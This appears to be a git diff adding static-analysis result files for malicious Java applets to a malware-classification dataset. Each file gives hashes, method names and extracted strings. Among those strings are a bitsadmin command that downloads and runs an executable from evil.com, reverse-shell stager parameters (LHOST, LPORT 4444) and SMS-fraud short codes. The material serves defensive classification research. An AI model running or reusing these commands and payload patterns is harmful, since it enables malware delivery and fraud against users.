+++ b/java_classification/data/malicious/3ec8e1bbfdb1f84d14a965a79c23d536c11b574f31fc4b2cd6fd3d34f5c3e416.results
@@ -0,0 +1 @@
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"metadata": {"mimetype": "application/x-java-applet", "sha1": "20d98c6af33ac556201df3da884e2f8cfc9d24a1", "file_name": "java_malicious/3ec8e1bbfdb1f84d14a965a79c23d536c11b574f31fc4b2cd6fd3d34f5c3e416", "_id": "f269e239-ad8c-4ee8-b8ab-a98dc5914c58", "score": 0, "entropy": 5.20830410879279, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7641, "ssdeep": "192:6lDp3bwphZwpJCDpDM3UcODXFkRWdZG1ma5l1:6FpwphqpJCDpDVcSFZCsK1", "sha256": "3ec8e1bbfdb1f84d14a965a79c23d536c11b574f31fc4b2cd6fd3d34f5c3e416", "md5": "1ecd5ecdf8201299bbb2cc79756d458d", "parent_sha256": "3ec8e1bbfdb1f84d14a965a79c23d536c11b574f31fc4b2cd6fd3d34f5c3e416"}}
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diff --git a/java_classification/data/malicious/3f171ddc3f10b95e54c3a9637198100991881d1b5d695b96e56998e87cb3fa18.results b/java_classification/data/malicious/3f171ddc3f10b95e54c3a9637198100991881d1b5d695b96e56998e87cb3fa18.results
new file mode 100755
index 0000000..75caef8
--- /dev/null
+++ b/java_classification/data/malicious/3f171ddc3f10b95e54c3a9637198100991881d1b5d695b96e56998e87cb3fa18.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/3f1f91dc0dbee8892bc6af6ec83ae8f06891d4752f42426900df09ae0822b507.results b/java_classification/data/malicious/3f1f91dc0dbee8892bc6af6ec83ae8f06891d4752f42426900df09ae0822b507.results
new file mode 100755
index 0000000..85820cb
--- /dev/null
+++ b/java_classification/data/malicious/3f1f91dc0dbee8892bc6af6ec83ae8f06891d4752f42426900df09ae0822b507.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "M", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "major_version": 45, "method_names": ["<init>", "paint", "run", "keyPressed", "keyReleased", "mainmenu", "mainmenu3", "mainmenu2", "sendmoneytome", "prover", "R"], "minor_version": 3, "const_pool_count": 369}}, "_id": "41270511-c793-4274-8873-a1b0a20322bd", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.661016878204154, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "sms5"}}}, "constant strings": ["p:104 n:9312174643", "p:55 n:9312174578", "p:22 n:9232441167", "\\xd0\\x92\\xd1\\x8b\\xd1\\x85\\xd0\\xbe\\xd0\\xb4", "\\xd0\\x94\\xd0\\xb0", "\\xd0\\x9f\\xd1\\x80\\xd0\\xbe\\xd1\\x81\\xd0\\xbc\\xd0\\xbe\\xd1\\x82\\xd1\\x80\\xd0\\xb5\\xd1\\x82\\xd1\\x8c MMS \\xd1\\x81\\xd0\\xbe\\xd0\\xbe\\xd0\\xb1\\xd1\\x89\\xd0\\xb5\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5 ?", "", "\\xd0\\x95\\xd1\\x89\\xd0\\xb5", "\\xd0\\x9e\\xd1\\x88\\xd0\\xb8\\xd0\\xb1\\xd0\\xba\\xd0\\xb0! \\xd0\\x9f\\xd0\\xbe\\xd0\\xb2\\xd1\\x82\\xd0\\xbe\\xd1\\x80\\xd0\\xb8\\xd1\\x82\\xd0\\xb5 \\xd0\\xb5\\xd1\\x89\\xd0\\xb5 \\xd1\\x80\\xd0\\xb0\\xd0\\xb7.", "sms://8464", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 0kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 2kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 5kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 9kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 12kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 15kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 19kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 21kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 22kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 25kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 27kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 28kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 30kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 33kb", "\\xd0\\x97\\xd0\\xb0\\xd0\\xb3\\xd1\\x80\\xd1\\x83\\xd0\\xb7\\xd0\\xba\\xd0\\xb0 MMS - 35kb", "sms5", "sms_d5", "12", "\\xd0\\x9e\\xd1\\x88\\xd0\\xb8\\xd0\\xb1\\xd0\\xba\\xd0\\xb0!\\xd0\\x9d\\xd0\\xb0 \\xd1\\x81\\xd0\\xb5\\xd1\\x80\\xd0\\xb2\\xd0\\xb5\\xd1\\x80\\xd0\\xb5 \\xd1\\x82\\xd0\\xb5\\xd1\\x85\\xd0\\xbd\\xd0\\xb8\\xd1\\x87\\xd0\\xb5\\xd1\\x81\\xd0\\xba\\xd0\\xb8\\xd0\\xb5 \\xd1\\x80\\xd0\\xb0\\xd0\\xb1\\xd0\\xbe\\xd1\\x82\\xd1\\x8b.\\xd0\\x9f\\xd0\\xbe\\xd0\\xb2\\xd1\\x82\\xd0\\xbe\\xd1\\x80\\xd0\\xb8\\xd1\\x82\\xd0\\xb5 \\xd1\\x87\\xd0\\xb5\\xd1\\x80\\xd0\\xb5\\xd0\\xb7 30-60 \\xd0\\xbc\\xd0\\xb8\\xd0\\xbd.", "sms://844471", "\\xd0\\x98\\xd0\\xb7\\xd0\\xb2\\xd0\\xb8\\xd0\\xbd\\xd0\\xb8\\xd1\\x82\\xd0\\xb5 \\xd1\\x81\\xd0\\xb5\\xd1\\x80\\xd0\\xb2\\xd0\\xb5\\xd1\\x80 \\xd0\\xbd\\xd0\\xb5 \\xd0\\xb4\\xd0\\xbe\\xd1\\x81\\xd1\\x82\\xd1\\x83\\xd0\\xbf\\xd0\\xb5\\xd0\\xbd.\\xd0\\x9f\\xd0\\xbe\\xd0\\xbf\\xd1\\x80\\xd0\\xbe\\xd0\\xb1\\xd1\\x83\\xd0\\xb9\\xd1\\x82\\xd0\\xb5 \\xd0\\xbf\\xd0\\xbe\\xd0\\xb2\\xd1\\x82\\xd0\\xbe\\xd1\\x80\\xd0\\xb8\\xd1\\x82\\xd1\\x8c \\xd1\\x87\\xd0\\xb5\\xd1\\x80\\xd0\\xb5\\xd0\\xb7 24 \\xd1\\x87\\xd0\\xb0\\xd1\\x81\\xd0\\xb0. "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0c7da11471c4e23d5bca865bda5d4e704f0a1b21", "file_name": "java_malicious/3f1f91dc0dbee8892bc6af6ec83ae8f06891d4752f42426900df09ae0822b507", "_id": "41270511-c793-4274-8873-a1b0a20322bd", "score": 0, "entropy": 5.928455873196009, "libmagic": "compiled Java class data, version 45.3", "file_size": 9030, "ssdeep": "96:7eiH5SwmExt1XH/YRZFn/KZqsZb0SqpIEfjqTCa2XE0TqTCa2IHj2qTCa2JRHcqL:RH4/EtAL9yZDtHgTU0PTIDoTJRHbL", "sha256": "3f1f91dc0dbee8892bc6af6ec83ae8f06891d4752f42426900df09ae0822b507", "md5": "08a987f81731f7e5d43fd3e5aa4fb1c3", "parent_sha256": "3f1f91dc0dbee8892bc6af6ec83ae8f06891d4752f42426900df09ae0822b507"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/3f3a9f5eaabdd084a4b35ed0d879d44c0904fc5af8088305f8aad8d6269e4651.results b/java_classification/data/malicious/3f3a9f5eaabdd084a4b35ed0d879d44c0904fc5af8088305f8aad8d6269e4651.results
new file mode 100755
index 0000000..b155197
--- /dev/null
+++ b/java_classification/data/malicious/3f3a9f5eaabdd084a4b35ed0d879d44c0904fc5af8088305f8aad8d6269e4651.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "bmPJSyabTd/HGRrBAr", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "b81efcb5-378e-442e-a638-bb79019c4279", "verbose": {"java": {"constant strings": ["bmPJSyabTd.HGRrBAr", ".class", "/bmPJSyabTd.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "bmPJSyabTd.dat", "URL", "", "https:", "bmPJSyabTd/HGRrBArTrustManager.class", "HGRrBArTrustManager.class", "AESPassword", "bmPJSyabTd/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "bmPJSyabTd.HGRrBArTrustManager", "useFor", "java.net.URLConnection", "bmPJSyabTd.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "HGRrBAr -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e429248aa2b44ced29780f5b8a58106fba988932", "file_name": "java_malicious/3f3a9f5eaabdd084a4b35ed0d879d44c0904fc5af8088305f8aad8d6269e4651", "_id": "b81efcb5-378e-442e-a638-bb79019c4279", "score": 0, "entropy": 6.149157105245226, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMIDUBB+WuzThmkUxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1t4BgtmFyNvpvUrKYvCkgHzbDrDF", "sha256": "3f3a9f5eaabdd084a4b35ed0d879d44c0904fc5af8088305f8aad8d6269e4651", "md5": "a0ad47ddacbb6cd79bbebf274b55e169", "parent_sha256": "3f3a9f5eaabdd084a4b35ed0d879d44c0904fc5af8088305f8aad8d6269e4651"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/4028e50107e74cb6baee4d09a686dcca8349f721b4ca80c00d5ec284778c38ba.results b/java_classification/data/malicious/4028e50107e74cb6baee4d09a686dcca8349f721b4ca80c00d5ec284778c38ba.results
new file mode 100755
index 0000000..fda4a88
--- /dev/null
+++ b/java_classification/data/malicious/4028e50107e74cb6baee4d09a686dcca8349f721b4ca80c00d5ec284778c38ba.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "IigkH.java", "class_name": "JGXgwWYpp/XhaoRRWaJ", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "mUyijr", "FQosSgAId", "SPVMuB", "ADejJL", "LwIJv", "VgqSciqj"], "minor_version": 0, "const_pool_count": 151}}, "_id": "743186da-284c-4f59-97fd-fac87a223dcb", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.442869013051812}, "constant strings": ["\\x04\\x1b\\x1b\\t\\x18\\x15\\x04\\x1b\\x0b\\x04\\x1e\\t\\r\\x1f", "\\x04\\x06\\x06", "\\x08\\n\\x1f\\r", "\\x1e\\x18\\x15\\t", "\\x1a\\x0b\\x08\\x1f\\r", "\\x1c\\r\\x1e\\x1f\\t%\\x02\\x18", "\\x06\\r\\x1a\\rB\\xc0\\x80\\r\\x02\\x0bB?\\x18\\x1e\\x05\\x02\\x0b", "\\x0b\\t\\x18<\\x1e\\x03\\x1c\\t\\x1e\\x18\\x15", "\\x06\\r\\x1a\\rB\\x1a\\t\\x1e\\x1f\\x05\\x03\\x02", "\\x08\\x08\\x08\\x1f\\x08\\x1f\\n", "\\x1f\\x08\\x08\\x1f", "\\x0b\\x08\\x04\\x0b\\n\\n\\x0b", "\\x06\\x0b\\x04\\x07\\x06\\xc0\\x80", "3", "0B", "\\\\\\\\", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "43a61e618aa2d137cf7527084bc33419e447c304", "file_name": "java_malicious/4028e50107e74cb6baee4d09a686dcca8349f721b4ca80c00d5ec284778c38ba", "_id": "743186da-284c-4f59-97fd-fac87a223dcb", "score": 0, "entropy": 5.861625182653876, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3265, "ssdeep": "48:Gb7x9HyFlN0f7sR7Cdd34w2O+C4EPBRLYAmAvleH3PC+Ngt73CCd25VTD3ui/C:Gb9YFlNmeCgAmAvleH3TgtN25D6", "sha256": "4028e50107e74cb6baee4d09a686dcca8349f721b4ca80c00d5ec284778c38ba", "md5": "a915b6c9f07efa70830b93ea1c333c18", "parent_sha256": "4028e50107e74cb6baee4d09a686dcca8349f721b4ca80c00d5ec284778c38ba"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/4053fc0abad94e2d12c255fc38c66140017bea5b4ed730b69954dac742cb229e.results b/java_classification/data/malicious/4053fc0abad94e2d12c255fc38c66140017bea5b4ed730b69954dac742cb229e.results
new file mode 100755
index 0000000..c742ed7
--- /dev/null
+++ b/java_classification/data/malicious/4053fc0abad94e2d12c255fc38c66140017bea5b4ed730b69954dac742cb229e.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "exploit/Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["<init>", "disableSecurity", "GetClass", "SetField", "init", "paint", "main"], "minor_version": 0, "const_pool_count": 167}}, "_id": "f3aec8a1-a8ac-45a5-a3a9-ce3ac09943de", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.762661775546799, "obfuscated_data": {"signatures": {"file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "getField"}}}, "constant strings": ["setSecurityManager", "file:///", "acc", "forName", "sun.awt.SunToolkit", "getField", "bitsadmin /transfer myjob /download /priority high http://evil.com/lulz.exe c:\\\\lulz.exe&start lulz.exe", "Loading"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8603731ab8aeed8b27e46cff54267d7ed1405429", "file_name": "java_malicious/4053fc0abad94e2d12c255fc38c66140017bea5b4ed730b69954dac742cb229e", "_id": "f3aec8a1-a8ac-45a5-a3a9-ce3ac09943de", "score": 10, "entropy": 5.519770002704262, "libmagic": "compiled Java class data, version 51.0", "file_size": 3406, "ssdeep": "48:mrCw1s+MyFlouqFdh6uD6jPyZ1iBYiZapvUuS9MUjHjClmGQbWkfvHc24dzHJp50:sx1s+NFlJSwhZaOp/X/2JdpZwn", "sha256": "4053fc0abad94e2d12c255fc38c66140017bea5b4ed730b69954dac742cb229e", "md5": "d5d8c3a21e30ab29eebf4e8ec2fcbc2a", "parent_sha256": "4053fc0abad94e2d12c255fc38c66140017bea5b4ed730b69954dac742cb229e"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/41aa199f6f646f1c81ca0df06c2708280fd58d0e4fd5d241e2b54e9f7dd90fba.results b/java_classification/data/malicious/41aa199f6f646f1c81ca0df06c2708280fd58d0e4fd5d241e2b54e9f7dd90fba.results
new file mode 100755
index 0000000..9dc519a
--- /dev/null
+++ b/java_classification/data/malicious/41aa199f6f646f1c81ca0df06c2708280fd58d0e4fd5d241e2b54e9f7dd90fba.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Class3.java", "class_name": "Class3", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "decode_str", "char_at", "get_func", "invoke", "string_to_bytes", "load"], "minor_version": 0, "const_pool_count": 166}}, "_id": "9ccdabcb-9bc6-4e9f-bcef-cb2b6dcdea29", "verbose": {"java": {"constant strings": ["89809264898E8F7C897E80", "81848780554A4A4A", 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diff --git a/java_classification/data/malicious/4247fea3ab6c2870ca2afcc66ef37e9be31bc683af05efe80a5d19d2c723762a.results b/java_classification/data/malicious/4247fea3ab6c2870ca2afcc66ef37e9be31bc683af05efe80a5d19d2c723762a.results
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diff --git a/java_classification/data/malicious/429f90ed6a0d430017d5f9326524f692cadc5eaada820d9365afd9ff6383df77.results b/java_classification/data/malicious/429f90ed6a0d430017d5f9326524f692cadc5eaada820d9365afd9ff6383df77.results
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diff --git a/java_classification/data/malicious/44654000808d215161d6ead2afe9b0369d91fec1da183202dfbfa5d2b243a7d6.results b/java_classification/data/malicious/44654000808d215161d6ead2afe9b0369d91fec1da183202dfbfa5d2b243a7d6.results
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diff --git a/java_classification/data/malicious/4493924958baf8116df59542fdf57bbca7e682ed25123126065a8f5255ec2dcf.results b/java_classification/data/malicious/4493924958baf8116df59542fdf57bbca7e682ed25123126065a8f5255ec2dcf.results
new file mode 100755
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diff --git a/java_classification/data/malicious/44ef09a17a45606e420af549868087006f3ef51f5153d2c8b4937cac0b6e0e63.results b/java_classification/data/malicious/44ef09a17a45606e420af549868087006f3ef51f5153d2c8b4937cac0b6e0e63.results
new file mode 100755
index 0000000..6f00d40
--- /dev/null
+++ b/java_classification/data/malicious/44ef09a17a45606e420af549868087006f3ef51f5153d2c8b4937cac0b6e0e63.results
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diff --git a/java_classification/data/malicious/4559ab680d605ae339239da7fffdf9f18ff008ca3c664df580af85b5df084f3b.results b/java_classification/data/malicious/4559ab680d605ae339239da7fffdf9f18ff008ca3c664df580af85b5df084f3b.results
new file mode 100755
index 0000000..dc043bd
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+++ b/java_classification/data/malicious/4559ab680d605ae339239da7fffdf9f18ff008ca3c664df580af85b5df084f3b.results
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diff --git a/java_classification/data/malicious/463b2233da4842ebca7d72af85ed9162bb36780d222590c4027501b2171f1187.results b/java_classification/data/malicious/463b2233da4842ebca7d72af85ed9162bb36780d222590c4027501b2171f1187.results
new file mode 100755
index 0000000..db65edf
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+++ b/java_classification/data/malicious/463b2233da4842ebca7d72af85ed9162bb36780d222590c4027501b2171f1187.results
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diff --git a/java_classification/data/malicious/4684fcf02be5e3bd249a2978fb368da1884946d2c2a2273cf3de911586adda2a.results b/java_classification/data/malicious/4684fcf02be5e3bd249a2978fb368da1884946d2c2a2273cf3de911586adda2a.results
new file mode 100755
index 0000000..0ceba4c
--- /dev/null
+++ b/java_classification/data/malicious/4684fcf02be5e3bd249a2978fb368da1884946d2c2a2273cf3de911586adda2a.results
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diff --git a/java_classification/data/malicious/4689bffb2a00cf349ce5ad6c88515b3dfedd29f8bfe6a8cc6ad70452c7c1e69b.results b/java_classification/data/malicious/4689bffb2a00cf349ce5ad6c88515b3dfedd29f8bfe6a8cc6ad70452c7c1e69b.results
new file mode 100755
index 0000000..ef56661
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+++ b/java_classification/data/malicious/4689bffb2a00cf349ce5ad6c88515b3dfedd29f8bfe6a8cc6ad70452c7c1e69b.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/47acca2a71afa9df6ce256fd51581cd73576ffa5c3e6502d463454d8cfa57ba2.results b/java_classification/data/malicious/47acca2a71afa9df6ce256fd51581cd73576ffa5c3e6502d463454d8cfa57ba2.results
new file mode 100755
index 0000000..883f684
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diff --git a/java_classification/data/malicious/47bf6aa65b50797afd59a1cf5c983ea09ade012b8906c3864b4a6b342e4d4a1c.results b/java_classification/data/malicious/47bf6aa65b50797afd59a1cf5c983ea09ade012b8906c3864b4a6b342e4d4a1c.results
new file mode 100755
index 0000000..7d24c65
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diff --git a/java_classification/data/malicious/47ec65be3c7bfebad1821a65ac41f01c4c62398d486dba73eb4f20c20b8b446d.results b/java_classification/data/malicious/47ec65be3c7bfebad1821a65ac41f01c4c62398d486dba73eb4f20c20b8b446d.results
new file mode 100755
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@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/481a5eabe83480fbfaa6abb5f8661fae61438585bd995ba2e4bdd7990151c9f8.results b/java_classification/data/malicious/481a5eabe83480fbfaa6abb5f8661fae61438585bd995ba2e4bdd7990151c9f8.results
new file mode 100755
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@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/4871c8bd0b93ee15c4dbc8db232417ef0401a096250d8cb218901e85ea9619c5.results b/java_classification/data/malicious/4871c8bd0b93ee15c4dbc8db232417ef0401a096250d8cb218901e85ea9619c5.results
new file mode 100755
index 0000000..a84940e
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+++ b/java_classification/data/malicious/4871c8bd0b93ee15c4dbc8db232417ef0401a096250d8cb218901e85ea9619c5.results
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+{"characteristics": {"java": {"sourcefile": "j", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["init", "F", "F", "F", "<clinit>", "F", "<init>", "F", "i", "M", "F", "F"], "minor_version": 0, "const_pool_count": 231}}, "_id": "8aee4c0c-4146-4c80-b210-14bcebba7bda", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 6.272553523534275}, "constant strings": ["", "F\\x0cn\\'3{4y4~3~3{/e\\x12\\r? 5*2}4}2}1.(5\\x11^=&5|6)7-2~5*(c\\x11\\\\<w0)=|`.1t:-/f\\x10\\\\9z5(4~3{4|4s)f\\x17_;s3{4~4~3~3{.`\\x12\\r? 4|3y5\\x7f7.e.,5\\x1e[:r;sfzf~b*3y.f\\x17_<{4{4|3{4|3z)f\\x10\\\\<q3{7|5*2}4}(g\\x15\\n<v4\\x7f2u5(6)5x(0\\x11\\n=p4~3~4y2y5.)b\\x15\\n=r4\\x7f2*5/2u5x,3\\x13^<w5-2(5r2\\x7f6y(c\\x11Y=v4y2y5.2\\x7f5~*g\\x10]<q5z3ubr`~g.\\x7fgE\\n=v5{4/3y4|3z+4\\x17_;v5z3~4y2}4r)b\\x17_:p6)0/5*2}4}(g\\x15\\t= 5z2)5|6*7-(d\\x11\\x0e=v5x3x0)3t4{)g\\x17_<&3{4\\x7f", "`*d.v;q<\\x7f2A\\x08n1t9s}4/b+f9i$P\\x0bm$f9s>tz6)4~)bC\\tl&q<v;:/b+f9i$P\\x0c9&g-c)q<v;0/x1B\\x1d|1t-`*d.v;q<{2A\\x08n1t9s\\x7f4~3~4yz0@\\ny4q<1(e,a>t9i3\\x10[9&g-c)q<v;2|*2A\\x08n1t9s*g-c)q<l!C\\x0bm$f9s>tr`*d.l!U\\x188qf\\x7f5{7/b+f9i$P\\to%d.v;q<`(e,{$P\\x1d|zg-c)q<v;0~,2A\\x08n1t9syg-c)q<l!C\\tl&q<v;g-c)q<l!\\x12X9\\'e,a>t9syg-y3U\\x18y4f/b+f9s>txz0@\\ny4q<1x2|6{1/x1B\\x1d|1tz3u", "C\\tl&q<v;", "z", "r<&\\x02P\\x08M\\x05", "b%H\\x02C\\tl%t\\'av\\x03\\xc0\\x80A\\x0bm$e<+c", "\\x0bm\\'e,b;", ")b=eb_\\x01D\\x1ay*w2*\\x1cI\\x16J\\x06x0j$j?", "$j?", "k\"", "S.v!", ".g/S.v!", "&M\\x12C\\to%d-s-\\x02\\x17B\\x0co%g-c*[\\x11U\\x06\\x7f:-\\x1bv#X\\x01D\\x0bm\\'e,b;X\\rH\\x01O,n*m\"", "*`(", "8a8"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b2a7ec43b1cef1ffb4179c683df037d545fc8594", "file_name": "java_malicious/4871c8bd0b93ee15c4dbc8db232417ef0401a096250d8cb218901e85ea9619c5", "_id": "8aee4c0c-4146-4c80-b210-14bcebba7bda", "score": 0, "entropy": 6.006913434041158, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5425, "ssdeep": "96:hpiFlaiLkdYWS5nOQ1knvSwlwKeU8aWKyqXqDa3x+Cz:wlaiQ2Z5OGSJlwKerAyfG3h", "sha256": "4871c8bd0b93ee15c4dbc8db232417ef0401a096250d8cb218901e85ea9619c5", "md5": "53a07323d3671a945348f3afb2358d69", "parent_sha256": "4871c8bd0b93ee15c4dbc8db232417ef0401a096250d8cb218901e85ea9619c5"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/4879e1537d103bc98b30384ca513d3239813323bfd559e2a215c18087b6ab524.results b/java_classification/data/malicious/4879e1537d103bc98b30384ca513d3239813323bfd559e2a215c18087b6ab524.results
new file mode 100755
index 0000000..2a6bc03
--- /dev/null
+++ b/java_classification/data/malicious/4879e1537d103bc98b30384ca513d3239813323bfd559e2a215c18087b6ab524.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "GXuVWmXdCP/dbgUstc", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "9df02c1d-0b66-48f1-943f-24410c37f905", "verbose": {"java": {"constant strings": ["GXuVWmXdCP.dbgUstc", ".class", "/GXuVWmXdCP.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "GXuVWmXdCP.dat", "URL", "", "https:", "GXuVWmXdCP/dbgUstcTrustManager.class", "dbgUstcTrustManager.class", "AESPassword", "GXuVWmXdCP/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "GXuVWmXdCP.dbgUstcTrustManager", "useFor", "java.net.URLConnection", "GXuVWmXdCP.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "dbgUstc -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "91b21e26507f61293658031a4b24bc167c4c7e82", "file_name": "java_malicious/4879e1537d103bc98b30384ca513d3239813323bfd559e2a215c18087b6ab524", "_id": "9df02c1d-0b66-48f1-943f-24410c37f905", "score": 0, "entropy": 6.149859419899259, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMjDUBX+WFXhThmAhxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tFXdhtm4yNvpvUrKYvCkgHzbDrDF", "sha256": "4879e1537d103bc98b30384ca513d3239813323bfd559e2a215c18087b6ab524", "md5": "b39225f94a6c040686fd1a7988b02d6c", "parent_sha256": "4879e1537d103bc98b30384ca513d3239813323bfd559e2a215c18087b6ab524"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/48e34324d1e3bd9c3ba48ff75fd31f3f6d1fec31dd454bb90f4f6c7180ba1edd.results b/java_classification/data/malicious/48e34324d1e3bd9c3ba48ff75fd31f3f6d1fec31dd454bb90f4f6c7180ba1edd.results
new file mode 100755
index 0000000..51a3f0f
--- /dev/null
+++ b/java_classification/data/malicious/48e34324d1e3bd9c3ba48ff75fd31f3f6d1fec31dd454bb90f4f6c7180ba1edd.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "WOCCpSUYe.java", "class_name": "aHrMCrboe/WOCCpSUYe", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "dHgLzAZX", "EFMPSc", "pjrKRKU", "xobtp", "PiCOwyUd", "OwRLOth", "ZbVisM"], "minor_version": 0, "const_pool_count": 152}}, "_id": "4476459f-54de-4ba6-b5fe-df5f2816ca8f", "verbose": {"java": {"constant strings": ["&$$", "*(=/", ":<:<", "8):;*=/", "", "*=*", "/=(=", "<:=997+", "8=)?*=/", ":=<:<", "8)=:;*=/", "<:997+", "8)?*=/", "<:7+", "8)*=/", "*=(", "+<)*,&$%+<#=(n% (#"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "59cf96f509216b828df5564632c6e4ccbf83c7ec", "file_name": "java_malicious/48e34324d1e3bd9c3ba48ff75fd31f3f6d1fec31dd454bb90f4f6c7180ba1edd", "_id": "4476459f-54de-4ba6-b5fe-df5f2816ca8f", "score": 0, "entropy": 5.914889183334632, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4593, 